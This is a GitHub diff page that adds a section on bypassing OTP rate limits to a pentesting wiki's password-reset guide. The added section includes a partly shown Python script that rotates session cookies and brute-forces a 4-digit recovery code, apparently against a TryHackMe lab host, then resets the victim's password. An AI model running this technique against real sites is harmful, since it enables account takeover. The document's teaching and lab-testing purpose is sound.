You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-web/reset-password.md
+64Lines changed: 64 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -182,6 +182,70 @@ uuid-insecurities.md
182
182
-**Mitigation Steps**:
183
183
- Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
184
184
185
+
## **OTP rate limit bypass by changing your session**
186
+
187
+
- If the website is using user session to track wrong OTP attempts and the OTP was weak ( <= 4 digits) then we can effectively bruteforce the OTP.
188
+
-**exploitation**:
189
+
- just request a new session token after getting blocked by the server.
190
+
-**Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
191
+
192
+
```python
193
+
# Authentication bypass by password reset
194
+
# by coderMohammed
195
+
import requests
196
+
import random
197
+
from time import sleep
198
+
199
+
headers = {
200
+
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
print("[+] This might take around 5 minutes to finish!")
214
+
215
+
try:
216
+
whileTrue:
217
+
parms["recovery_code"] =f"{random.randint(0, 9999):04}"# random number from 0 - 9999 with 4 d
218
+
parms["s"] =164# not important it only efects the frontend
219
+
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
220
+
221
+
if ter ==8: # follow number of trails
222
+
out = requests.get(logout,headers=headers) # log u out
223
+
mainp = requests.get(root) # gets another phpssid (token)
224
+
225
+
cookies = out.cookies # extract the sessionid
226
+
phpsessid = cookies.get('PHPSESSID')
227
+
headers["cookies"]=f"PHPSESSID={phpsessid}"#update the headers with new session
228
+
229
+
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
230
+
ter =0# reset ter so we get a new session after 8 trails
231
+
else:
232
+
ter +=1
233
+
if(len(res.text) ==2292): # this is the length of the page when u get the recovery code correctly (got by testing)
234
+
print(len(res.text)) # for debug info
235
+
print(phpsessid)
236
+
237
+
reset_data = { # here we will change the password to somthing new
0 commit comments